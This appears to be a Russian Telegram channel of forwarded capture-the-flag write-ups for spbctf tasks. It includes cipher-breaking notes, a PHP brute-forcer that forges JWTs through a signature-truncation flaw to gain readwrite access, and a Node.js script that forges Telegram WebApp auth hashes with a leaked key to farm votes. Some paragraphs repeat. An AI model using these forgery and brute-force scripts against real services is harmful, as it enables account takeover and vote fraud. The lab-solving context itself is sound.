Forwarded from thxStuck
к доменному имени через / добавляем docs
https://t-bugman-18kk0hkv.spbctf.net/docs
мы переходим на FastApi
Тут у нас есть все Get и Post запросы сайта
😱5👍1
Forwarded from thxStuck
Видим /bugman-photos-stash-20240328
Нажимаем на него и тыкаем Try it out -> Execute
Forwarded from thxStuck
Получаем html code. Отсюда уже можно взять флаг, но мы обязаны увидеть картинку))
Forwarded from thxStuck
Forwarded from Vladimir Markov
Привет. По задаче "Элементарно, Ватсон!" в канале какое-то очень сложное решение предложено. Есть в разы проще в одну строчку кода)
В задаче сказано что используется "Усовершенствованный классический метод шифрования" (имеется в виду классический шифр древней спарты). Просто вместо одной палочки там две. Однако на процедуре взлома это никак не сказывается, принцип остается точно таким же: нам нужно подобрать такой
На строчках 11 и 12 замечаем две части нашего ключа:
В задаче сказано что используется "Усовершенствованный классический метод шифрования" (имеется в виду классический шифр древней спарты). Просто вместо одной палочки там две. Однако на процедуре взлома это никак не сказывается, принцип остается точно таким же: нам нужно подобрать такой
m, чтобы data[::m] представлял собой осмысленный текст. При m = 32 мы получаем "HOLMES_CASE_DB||Case_1:_The". Далее выводим все остальные строчки (соединять их в один текст не будем - слишком сложно):data = "H_S_|_e_gI..."
print("\n".join(data[i::32] for i in range(32)))
На строчках 11 и 12 замечаем две части нашего ключа:
m3_th0Ugh7_r3WarD_bRoU6ht} и tctf{Cr1. Остается только их правильно соединить.❤5👍1👏1🤯1
Forwarded from Vladimir Markov
Еще там нет решения задачи "Доктор Хаос":
Ключевые элементы, которые нужно было заметить:
1. Используется симметричное шифрование без перестановок с помощью надежного алгоритма RC4 (взломать его возможно)
2. Строка до шифрования представляет из себя результат сериализации protobuf структуры (первые 3 байта служебные, потом zip от введенного текста, служебные байты, zip от флага и еще служебные байты)
3. Для генерации ключа используется
Так как алгоритм RC4 взломать невозможно, а алгоритм генерации ключа явно очень слабый, стоит атаковать его. Все что нужно сделать это написать C++ программку, которая будет подавать на вход EncryptBirthmaRC4 один и тот же текст (главное не забыть про служебные байты от protobuff) и сверять что первые N байт (например 4) зашифрованного текста совпадают с теми что лежат в patient-chart.bin (или наоборот можно подавать зашифрованный текст на вход - без разницы, шифрование делается с помощью xor). Так как initial_seed локально и на сервере равен 1, а количество запросов на сервер скорее всего не превысило 100к, правильный seed (а с ним и key) мы найдем меньше чем за секунду. После чего используем найденный ключ для расшифровки текста.
По сути вся задача решалась в 6 строчек:
Ключевые элементы, которые нужно было заметить:
1. Используется симметричное шифрование без перестановок с помощью надежного алгоритма RC4 (взломать его возможно)
2. Строка до шифрования представляет из себя результат сериализации protobuf структуры (первые 3 байта служебные, потом zip от введенного текста, служебные байты, zip от флага и еще служебные байты)
3. Для генерации ключа используется
default_random_engine, который представляет из себя самый простой псевдослучайный генератор. Более того, каждый раз при запуске программы seed будет одним и тем же (initial_seed=1), никакой инициализации от текущего времени.Так как алгоритм RC4 взломать невозможно, а алгоритм генерации ключа явно очень слабый, стоит атаковать его. Все что нужно сделать это написать C++ программку, которая будет подавать на вход EncryptBirthmaRC4 один и тот же текст (главное не забыть про служебные байты от protobuff) и сверять что первые N байт (например 4) зашифрованного текста совпадают с теми что лежат в patient-chart.bin (или наоборот можно подавать зашифрованный текст на вход - без разницы, шифрование делается с помощью xor). Так как initial_seed локально и на сервере равен 1, а количество запросов на сервер скорее всего не превысило 100к, правильный seed (а с ним и key) мы найдем меньше чем за секунду. После чего используем найденный ключ для расшифровки текста.
По сути вся задача решалась в 6 строчек:
int main(int argc, char* argv[]) {
// Содержимое patient-chart.bin
std::string ciphertext = {5, 110, -102, 115, ...};
for (int i = 0; i < 100000; i++) {
std::string plaintext = EncryptBirthmaRC4(ciphertext);
// Проверяем удалось ли расшифровать
if (plaintext[0] == -48 && plaintext[1] == -111 &&
plaintext[2] == 60 && plaintext[3] == -32) {
printf("Message decoded on #%d! See plaintext\n", i);
}
}
}
❤1
Forwarded from Vladimir Markov
Еще мало кто решил задачку "CTF 2023":
Ключевые моменты, которые нужно было заметить:
1. Шифрование симметричное побайтовое с помощью xor. А значит для расшифровки текста достаточно просто повторить шифрование еще раз (xor отменится):
2. Выполнение кода займет несколько миллиардов лет из-за этого цикла:
3. В конце нас интересует ответ по модулю N, так что вспоминаем модульную арифметику из олимпиадного программирования. Это позволит избавиться от необходимости работать с числами из миллиардов знаков, что позволит сократить время выполнения всего до 3 миллионов лет
4. Операции внутри цикла подозрительно сильно напоминают умножение матриц:
Таким образом мы получаем что у нас есть цикл (* - умножение матриц, % - модуль по всем элементам):
Использование матриц может немного пугать, однако по сути этот цикл эквивалентен такому:
Весь этот цикл можно оптимизировать до
Двух этих оптимизаций достаточно чтобы сократить время расшифровки до 1 секунды.
Ключевые моменты, которые нужно было заметить:
1. Шифрование симметричное побайтовое с помощью xor. А значит для расшифровки текста достаточно просто повторить шифрование еще раз (xor отменится):
python DiffusionCipher.py ctf2023.yaml.protected ctf2023.yaml key.json
2. Выполнение кода займет несколько миллиардов лет из-за этого цикла:
n0, n1, m0, m1 = 0, 1, 0, 1
# n = 92153904885269267505545
while diffusionCycles <= n:
n0, n1 = n1, a * n1 - b * n0
m0, m1 = m1, x * m1 - y * m0
diffusionCycles += 1
result = (m1 * n1) % N
3. В конце нас интересует ответ по модулю N, так что вспоминаем модульную арифметику из олимпиадного программирования. Это позволит избавиться от необходимости работать с числами из миллиардов знаков, что позволит сократить время выполнения всего до 3 миллионов лет
4. Операции внутри цикла подозрительно сильно напоминают умножение матриц:
| n0 | | 0 1 0 0 | | n0 |
| n1 | = | -b a 0 0 | * | n1 |
| m0 | | 0 0 0 1 | | m0 |
| m1 | | 0 0 -y x | | m1 |
Таким образом мы получаем что у нас есть цикл (* - умножение матриц, % - модуль по всем элементам):
state = [0, 1, 0, 1]
for _ in range(n):
state = (A * state) % N
Использование матриц может немного пугать, однако по сути этот цикл эквивалентен такому:
a, b = 1, 2
for _ in range(n):
a = b * a
Весь этот цикл можно оптимизировать до
a * (b ** n). А для быстрого расчета b ** n можно использовать алгоритм быстрого возведения в степень, который возведет число (или матрицу) в степень n за O(log n). Главное не забывать про модули и не использовать numpy (у нас числа больше чем int64)!Двух этих оптимизаций достаточно чтобы сократить время расшифровки до 1 секунды.
🤯4🔥2
Forwarded from Sergey
В основное время не успел, но показало
После регистрации и захода на сайт сразу бросается в глаза странности в base64 внутри подписи (обилие последовательностей 977 и подобных).
В исходниках видно, где отправляется флаг, для этого нужно на страницу
Исходники относительно небольшие, в JWT.scala бросается в глаза
Позже стало понятно, что и обилие повторяющихся последовательностей в подписи напрямую связано с этой реализацией.
Вытащил эти функции отдельно, разделив по шагам и делая print-ы после каждого преобразования, потестил с заранее известным ключом и данными, стало очевидно, что такие преобразования не бинарно-безопасные.
А именно, символы >0x7f, которые не являются корректными для utf8, заменяются на последовательность
Погуглил уязвимости хешей на предмет возможной манипуляции с 1ым битом символа, но ничего не нашел, да и было бы слишком сложно.
Затем вспомнил про то, что 5 символов зачем-то обрезаются из хеша, и это натолкнуло на мысль: а что если взять идеально рандомный случай, то какова вероятность, что в последовательности из N байт все из них будут >127 ?
Очевидно же, что 1/(2^N). По исходникам видно, что поддерживается не только HS256, а значит можно рассмотреть вариант HMD5, который сам по себе 16 байт, а если из него вырезать еще 5 байт, то останется 11. А 2^11 = 2048, что не так уж и много.
То есть, что имеем по итогу: нам неважно какой ключ, неважно какой payload. Рандомный пейлоад с совершенно любым ключом с вероятностью 1/2048 будет иметь все байты >127, а для такого случая сигнатура будет состоять из 11ти кратного повторения
далее написал простой брутер, который делает запрос, добавляя ключ
Флаг верный, но соревнование завершено, так что, видимо, решение корректное.После регистрации и захода на сайт сразу бросается в глаза странности в base64 внутри подписи (обилие последовательностей 977 и подобных).
В исходниках видно, где отправляется флаг, для этого нужно на страницу
/api/setup прислать запрос {"mode":"Firefighter"}, при этом у пользователя в токене должно быть: "role": "readwrite".Исходники относительно небольшие, в JWT.scala бросается в глаза
.slice(5, 256): private[jwt] def signHmac(algorithm: Algorithm, msg: String, key: String): String = {
val mac: Mac = Mac.getInstance(algorithm.toString)
mac.init(new SecretKeySpec(key.getBytes("utf-8"), algorithm.toString))
encodeBase64url(new String(mac.doFinal(msg.getBytes("utf-8")).slice(5, 256)))
}
...
private[jwt] def encodeBase64url(str: String): String =
Base64.encodeBase64URLSafeString(str.getBytes("utf-8"))Позже стало понятно, что и обилие повторяющихся последовательностей в подписи напрямую связано с этой реализацией.
Вытащил эти функции отдельно, разделив по шагам и делая print-ы после каждого преобразования, потестил с заранее известным ключом и данными, стало очевидно, что такие преобразования не бинарно-безопасные.
А именно, символы >0x7f, которые не являются корректными для utf8, заменяются на последовательность
0xEF, 0xBF, 0xBD.Погуглил уязвимости хешей на предмет возможной манипуляции с 1ым битом символа, но ничего не нашел, да и было бы слишком сложно.
Затем вспомнил про то, что 5 символов зачем-то обрезаются из хеша, и это натолкнуло на мысль: а что если взять идеально рандомный случай, то какова вероятность, что в последовательности из N байт все из них будут >127 ?
Очевидно же, что 1/(2^N). По исходникам видно, что поддерживается не только HS256, а значит можно рассмотреть вариант HMD5, который сам по себе 16 байт, а если из него вырезать еще 5 байт, то останется 11. А 2^11 = 2048, что не так уж и много.
То есть, что имеем по итогу: нам неважно какой ключ, неважно какой payload. Рандомный пейлоад с совершенно любым ключом с вероятностью 1/2048 будет иметь все байты >127, а для такого случая сигнатура будет состоять из 11ти кратного повторения
0xEF, 0xBF, 0xBD.далее написал простой брутер, который делает запрос, добавляя ключ
test: random_int(), не забыв поменять заголовок JWT на eyJ0eXAiOiJKV1QiLCJhbGciOiJITUQ1In0 (alg: HMD5), вставив в тело нужные данные с сигнатурой из EFBFBD..., и довольно быстро токен нашелся🤯10
Forwarded from Sergey
<?php
function base64url_encode($data) {
return rtrim(strtr(base64_encode($data), '+/', '-_'), '=');
}
function base64url_decode($data, $strict = false) {
return base64_decode(strtr($data, '-_', '+/'), $strict);
}
$username = 'tst362353022';
$sig = str_repeat(chr(0xEF) . chr(0xBF) . chr(0xBD), 11);
$hdr = 'eyJ0eXAiOiJKV1QiLCJhbGciOiJITUQ1In0';
$ch = curl_init();
for ($i = 0; $i < 40000; ++$i) {
$payload = json_encode([
'login' => $username,
'role' => 'readwrite',
'lalala' => random_int(10000000, 999999999999),
]);
curl_setopt_array($ch, [
CURLOPT_URL => 'https://t-robear-9veyslvj.spbctf.net/api/setup',
CURLOPT_COOKIE => 'jwt=' . $hdr . '.' . base64url_encode($payload) . '.' . base64url_encode($sig),
CURLOPT_POSTFIELDS => json_encode(['mode' => 'Firefighter']),
CURLOPT_HTTPHEADER => ['Content-Type: application/json'],
CURLOPT_RETURNTRANSFER => 1,
]);
$data = curl_exec($ch);
if (strlen($data) > 0) {
echo $data;
break;
}
}
__halt_compiler();
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => 'https://t-robear-9veyslvj.spbctf.net/api/register',
CURLOPT_POSTFIELDS => json_encode([
'login' => $username,
'password' => $password,
]),
CURLOPT_HTTPHEADER => [
'Content-Type: application/json',
],
CURLOPT_CUSTOMREQUEST => 'POST',
CURLOPT_RETURNTRANSFER => 1,
CURLOPT_REFERER => 'https://t-robear-9veyslvj.spbctf.net/register.html',
CURLOPT_HEADER => 0,
// CURLOPT_VERBOSE => 1,
]);
__halt_compiler();
for ($j = 0; $j < 100; ++$j) {
$username = 'tst' . mt_rand(100000000, 999999999);
$password = 'testpassword';
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => 'https://t-robear-9veyslvj.spbctf.net/api/register',
CURLOPT_POSTFIELDS => json_encode([
'login' => $username,
'password' => $password,
]),
CURLOPT_HTTPHEADER => [
'Content-Type: application/json',
],
CURLOPT_CUSTOMREQUEST => 'POST',
CURLOPT_RETURNTRANSFER => 1,
CURLOPT_REFERER => 'https://t-robear-9veyslvj.spbctf.net/register.html',
CURLOPT_HEADER => 0,
// CURLOPT_VERBOSE => 1,
]);
$data = json_decode(curl_exec($ch), true);
if (!$data['success']) {
echo 'fail';
return;
}
curl_setopt_array($ch, [
CURLOPT_URL => 'https://t-robear-9veyslvj.spbctf.net/api/login',
CURLOPT_CUSTOMREQUEST => 'POST',
CURLOPT_HEADER => 1,
]);
$data = curl_exec($ch);
preg_match('~set-cookie:\s*jwt=(\S+)~i', $data, $m);
$jwt = $m[1];
[$hdr, $payload, $sig] = explode('.', $jwt);
$dec = base64url_decode($sig);
$out = '';
for ($i = 0, $len = strlen($dec); $i < $len; $i++) {
if (ord($dec[$i]) <= 127) {
$out .= $dec[$i];
}
}
echo bin2hex($out), ":$username:$password\n";
}
Forwarded from Ramil Sakaev
Miss Fraud - node,js
const axios = require('axios');
const CryptoJS = require('crypto-js');
const secretKey = CryptoJS.enc.Hex.parse("0b4162a45f8c74b4005a25d4c20b0158198c83b38462bd02e42cd18f9842dc83"); // ключ нашли в коде
const contestant_id = 100; // id участника голосования
// данные авторизации можно получить, введя в консоли скрипт
// Array
// .from(new URLSearchParams(Telegram.WebApp.initData).entries())
// .reduce((res, [key, value]) => {
// if (key !== 'hash') {
// res[key] = value;
// }
// return res;
// }, {});
// далее нужно просто менять id и формировать hash (дефолтный hash сразу вырезали)
const getData = (id) => ({
auth_date: "*ts*",
query_id: "*queryId*",
user: `{"id":${id},"first_name":"*name*","last_name":"*surname*","username":"*login*","language_code":"ru","allows_write_to_pm":true}`,
});
// цепочка авторизация - голос с репитами на случай ошибки
const request = (data, repeat = 1) => {
return axios
.post(
'https://t-pageant-ekbooq0e.spbctf.net/api/auth',
{ initData: new URLSearchParams(data).toString() }
)
.then((res) => {
return axios
.post(
'https://t-pageant-ekbooq0e.spbctf.net/api/vote',
{ contestant_id },
{
headers: {
'Cookie': res.headers['set-cookie'],
},
}
)
.then(({ data }) => console.log(data)); // выводим промежуточный результат в консоль
})
.catch((err) => {
if (repeat < 5) {
return request(data, repeat++);
}
throw err;
});
};
// фарм голосов: индекс цикла = id пользователя, указываем любой интервал
const handle = () => {
for (let i = 0; i < 1000; i++) {
const data = getData(i);
const dataCheckString = Object
.keys(data)
.sort()
.map((key) => `${key}=${data[key]}`)
.join('\n');
const calculatedHash = CryptoJS
.HmacSHA256(dataCheckString, secretKey)
.toString(CryptoJS.enc.Hex);
data.hash = calculatedHash;
request(data);
}
};
handle();👍2